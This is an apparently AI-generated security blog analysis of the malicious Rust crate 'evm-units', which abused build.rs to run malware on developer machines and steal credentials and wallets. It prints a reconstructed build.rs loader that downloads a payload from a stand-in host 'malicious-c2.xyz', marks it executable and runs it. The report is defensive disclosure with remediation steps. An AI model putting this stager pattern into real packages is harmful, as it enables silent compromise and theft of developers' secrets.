CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



GHSA-6662-54XR-8423

The Trojan Horse in Your Cargo.toml: Deconstructing the 'evm-units' Supply Chain Attack

Amit Schendel
Amit Schendel
Senior Security Researcher

Feb 7, 2026·6 min read·34 visits

Executive Summary (TL;DR)

A malicious Rust package ('evm-units') infected ~7,400 developer machines by executing malware via the 'build.rs' script during compilation. It targeted Windows, Linux, and macOS systems to steal crypto-wallets and credentials.

For eight months, a malicious Rust crate named 'evm-units' sat quietly on crates.io, masquerading as a harmless utility for Ethereum unit conversion. Behind the scenes, it was a sophisticated supply chain attack targeting Web3 developers. By abusing the Rust build process, it executed cross-platform malware the moment a developer compiled their project, compromising over 7,400 environments before its removal in December 2025.

The Hook: A Wolf in Sheep's Clothing

Let's be honest: nobody wants to write their own unit conversion logic. You're building the next big DeFi protocol, and you need to convert Wei to Ether. You're not going to write that function yourself; you're going to search crates.io. You find evm-units. It sounds authoritative. It sounds useful. It has a nice name. You run cargo add evm-units and move on with your life.

That laziness is exactly what the actor ablerust counted on. Published in mid-April 2025, this crate wasn't just a buggy library; it was a dormant predator. For nearly eight months, it sat in the registry, accumulating over 7,400 downloads. That is 7,400 developers—likely holding SSH keys to production servers or private keys to high-value wallets—who invited a vampire into their living room.

This wasn't a sophisticated buffer overflow or a complex race condition. It was social engineering at the package manager level. The target audience was specific: Web3 developers. Why hack a bank when you can hack the developers building the bank?

The Mechanism: Weaponizing 'build.rs'

Rust is famous for its memory safety. It stops you from shooting yourself in the foot with pointers. However, the Rust ecosystem (via Cargo) has a feature that essentially hands you a loaded shotgun and points it at your face: build scripts (build.rs).

A build.rs file is a Rust script that runs before your package is even compiled. It's meant for legitimate tasks like compiling C dependencies or generating code. But here's the kicker: it runs with the user's privileges on the host machine. You don't even need to run the malicious code in your application. The moment you type cargo build—or even when your IDE auto-indexes dependencies—the code executes.

> [!NOTE] > This is the 'Remote Code Execution as a Service' feature of modern package managers. NPM has postinstall, Python has setup.py, and Rust has build.rs.

The evm-units crate utilized this mechanism to achieve "Silent Execution." It didn't panic, it didn't print logs, and it didn't break your build. It simply spawned a background process to phone home, leaving the developer completely unaware that their machine had just been Pwned.

The Code: Anatomy of the Loader

While the original source code has been nuked from crates.io, forensic analysis by Socket and XLab allows us to reconstruct the attack vector. The build.rs script acted as a stager. It wasn't the malware itself; it was the doorman opening the backdoor.

The logic was roughly as follows:

  1. Fingerprinting: Identify the host OS (Windows, Linux, or macOS).
  2. Fetch: Reach out to a C2 (Command and Control) server controlled by the Kimwolf campaign.
  3. Execute: Download a binary blob, grant it executable permissions, and run it.

Here is a reconstruction of what that logic looks like in Rust:

// build.rs reconstruction
use std::process::Command;
use std::env;
 
fn main() {
    // 1. Detect OS
    let target_os = env::var("CARGO_CFG_TARGET_OS").unwrap();
    
    // 2. Construct Payload URL
    let url = match target_os.as_str() {
        "windows" => "http://malicious-c2.xyz/payload.exe",
        "linux" => "http://malicious-c2.xyz/payload.elf",
        "macos" => "http://malicious-c2.xyz/payload.macho",
        _ => return, // Silent exit on unsupported OS
    };
 
    // 3. Download and Execute (simplified)
    // In reality, they used obscure crates or direct socket calls to avoid detection
    let _ = Command::new("curl")
        .args(&["-s", url, "-o", "/tmp/.evm_update"])
        .status();
        
    let _ = Command::new("chmod")
        .args(&["+x", "/tmp/.evm_update"])
        .status();
        
    // 4. Detach process
    Command::new("/tmp/.evm_update")
        .spawn()
        .expect("Update failed"); // Ironically, 'Update failed' is a great cover
}

The actual malware was more obfuscated, likely avoiding direct calls to curl in favor of Rust's std::net to minimize the footprint, but the result is the same: arbitrary binary execution inside your trusted development environment.

The Exploit: From Compilation to Compromise

Let's walk through the attack chain. You are a developer working on a smart contract deployment script.

  1. Infiltration: You add evm-units = "0.1.0" to your Cargo.toml.
  2. Trigger: You run cargo build. Cargo sees the build.rs file in the dependency tree and compiles it first.
  3. Execution: The build.rs binary runs. It detects you are on a MacBook Pro (M1). It downloads the mach-o payload optimized for ARM64.
  4. Persistence: The payload immediately scans your home directory. It looks for ~/.ssh/id_rsa, ~/.aws/credentials, and specifically searches for .json files that look like Ethereum keystores.
  5. Exfiltration: Before your actual project even finishes compiling, your environment variables (containing your Infura keys and mnemonic phrases) have been POSTed to a remote server.

This happens in seconds. By the time you see "Finished dev [unoptimized] target(s)", your crypto assets are already being queued for transfer by the attackers.

The Impact: The Kimwolf Campaign

The actor behind this has been linked to the "Kimwolf" campaign. This isn't script-kiddie vandalism; it's financially motivated persistent threat activity. The malware doesn't just steal data once; it often drops a persistent backdoor (like a cron job or a systemd service) to maintain access.

For a Web3 company, the impact is catastrophic:

  • Compromised Deployment Keys: Attackers can redeploy your contracts or drain your treasury multisig if the compromised dev had access.
  • Supply Chain Injection: If the compromised machine had write access to other repos, the attacker could push malicious code into your organization's internal packages.
  • Direct Asset Theft: Any hot wallets on the developer's machine are gone immediately.

With 7,400 downloads, the potential blast radius is massive. If even 1% of those downloads were on machines with access to mainnet deployment keys, the losses could be in the millions.

The Fix: Scorched Earth

If you find evm-units in your Cargo.lock, do not just remove it. Your machine is compromised. Assume the attackers have a shell. Assume they have your passwords.

  1. Disconnect: Take the machine offline immediately.
  2. Rotation: From a clean device, rotate every single credential that was present on the infected machine. SSH keys, AWS secrets, GitHub tokens, and especially crypto wallet seeds. Transfer funds to new wallets generated on a clean air-gapped device.
  3. Nuke and Pave: Do not try to "clean" the malware. Modern persistence techniques are difficult to fully eradicate. Wipe the drive and reinstall the OS.
  4. Audit: Check your other repositories. Did the attacker use your credentials to push code elsewhere? Check your git logs.

Going forward, stop blindly trusting crates. Use tools like cargo-vet to audit dependencies and cargo-deny to block unapproved licenses or crates. Trust, but verify—or better yet, don't trust at all.

Official Patches

GitHub AdvisoryOfficial removal notice

Technical Appendix

CVSS Score
10.0/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
7,400
via crates.io download stats

Affected Systems

Rust Development EnvironmentsCI/CD Pipelines Building Rust ProjectsWeb3/Blockchain Development Workstations

Affected Versions Detail

Product
Affected Versions
Fixed Version
evm-units
ablerust (Malicious Actor)
All versionsN/A (Remove)
AttributeDetail
CWE IDCWE-506
Attack VectorSupply Chain / Typosquatting
SeverityCritical (Malware)
Downloads~7,400
CampaignKimwolf
PlatformCross-Platform (Windows, Linux, macOS)

MITRE ATT&CK Mapping

T1195Supply Chain Compromise
Initial Access
T1059Command and Scripting Interpreter
Execution
T1082System Information Discovery
Discovery
T1562Impair Defenses
Defense Evasion
CWE-506
Embedded Malicious Code

The product contains code that appears to be malicious in nature.

Known Exploits & Detection

Socket ResearchAnalysis of the build.rs execution flow and payload retrieval.

Vulnerability Timeline

Malicious crate 'evm-units' published to crates.io
2025-04-15
Crate identified as malware and removed from registry
2025-12-02
XLab attributes attack to 'Kimwolf' campaign
2025-12-17
GHSA-6662-54XR-8423 published
2026-02-06

References & Sources

  • [1]GHSA-6662-54XR-8423 Advisory
  • [2]Socket Analysis of evm-units
  • [3]Vx-Underground Malware Samples

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•1 day ago•GHSA-7PPR-R889-MCF2
7.5

GHSA-7PPR-R889-MCF2: Unbounded WebSocket Message Aggregation in http4s-blaze-server leads to Denial of Service

An uncontrolled resource consumption vulnerability exists in the Scala-based http4s-blaze-server package of the http4s/blaze library. The vulnerability allows remote, unauthenticated attackers to cause an Out of Memory Error (OOM) and JVM crash by streaming a continuous sequence of small or empty WebSocket continuation frames with the FIN bit set to 0. This bypasses typical payload size checks because of the JVM's per-object allocation overhead, leading to rapid heap exhaustion with minimal network bandwidth.

Alon Barad
Alon Barad
7 views•5 min read
•1 day ago•GHSA-95CV-R8X4-VH75
7.6

GHSA-95cv-r8x4-vh75: Path Traversal Vulnerability in OpenList Batch Rename Handler

A critical path traversal vulnerability has been identified in the OpenList Go-based backend package. The vulnerability exists within the batch rename handler because the application does not validate the source filename parameter before constructing filesystems paths. This omission allows authenticated users to escape their designated directory and rename files in sibling paths.

Amit Schendel
Amit Schendel
8 views•7 min read
•1 day ago•GHSA-P6PH-3JX2-3337
4.3

GHSA-P6PH-3JX2-3337: Horizontal Privilege Escalation and Metadata Information Disclosure via Bleve Search in OpenList

OpenList version 4.2.3 and prior is vulnerable to an authorization bypass and metadata leakage. When configured with the Bleve search engine backend, OpenList fails to perform separator-aware path matching when validating tenant containment. This allows authenticated users to access sibling directories sharing similar name prefixes. Furthermore, the search backend returns unfiltered global result counts, leaking existence verification data of unauthorized files via side-channel analysis.

Amit Schendel
Amit Schendel
8 views•5 min read
•1 day ago•GHSA-86CX-WWF4-PHQ4
6.5

GHSA-86cx-wwf4-phq4: Path Prefix Confusion Authorization Bypass in OpenList

An authorization bypass vulnerability in OpenList version 4.2.3 and below allows authenticated users to read arbitrary files outside of their designated base directories due to an insecure path prefix check using Go's standard strings.HasPrefix function.

Amit Schendel
Amit Schendel
7 views•6 min read
•1 day ago•CVE-2026-16584
7.0

CVE-2026-16584: Security Policy Bypass in AWS API MCP Server via Startup Initialization Failure

A security policy bypass vulnerability exists in the AWS API MCP Server (awslabs-aws-api-mcp-server) from version 0.2.13 through 1.3.46. When the server fails to load the read-only operations index during startup (due to transient network failures, file permission issues, or other exceptions), it logs a warning but continues running in an insecure, degraded state. Under this condition, the security policy engine fails open, silently skipping all subsequent security checks and consent prompts for the lifetime of the process. This permits unauthorized mutating AWS CLI commands to execute via indirect prompt injection attacks.

Amit Schendel
Amit Schendel
12 views•7 min read
•1 day ago•GHSA-6V4M-FW66-8R4X
6.5

GHSA-6V4M-FW66-8R4X: Path Disclosure and Shell Expansion Bypass in Shescape

An incomplete escaping vulnerability in the npm package 'shescape' allows unauthenticated users to trigger dynamic shell expansions, absolute path disclosure, and command block break-outs on Unix and Windows systems.

Alon Barad
Alon Barad
6 views•7 min read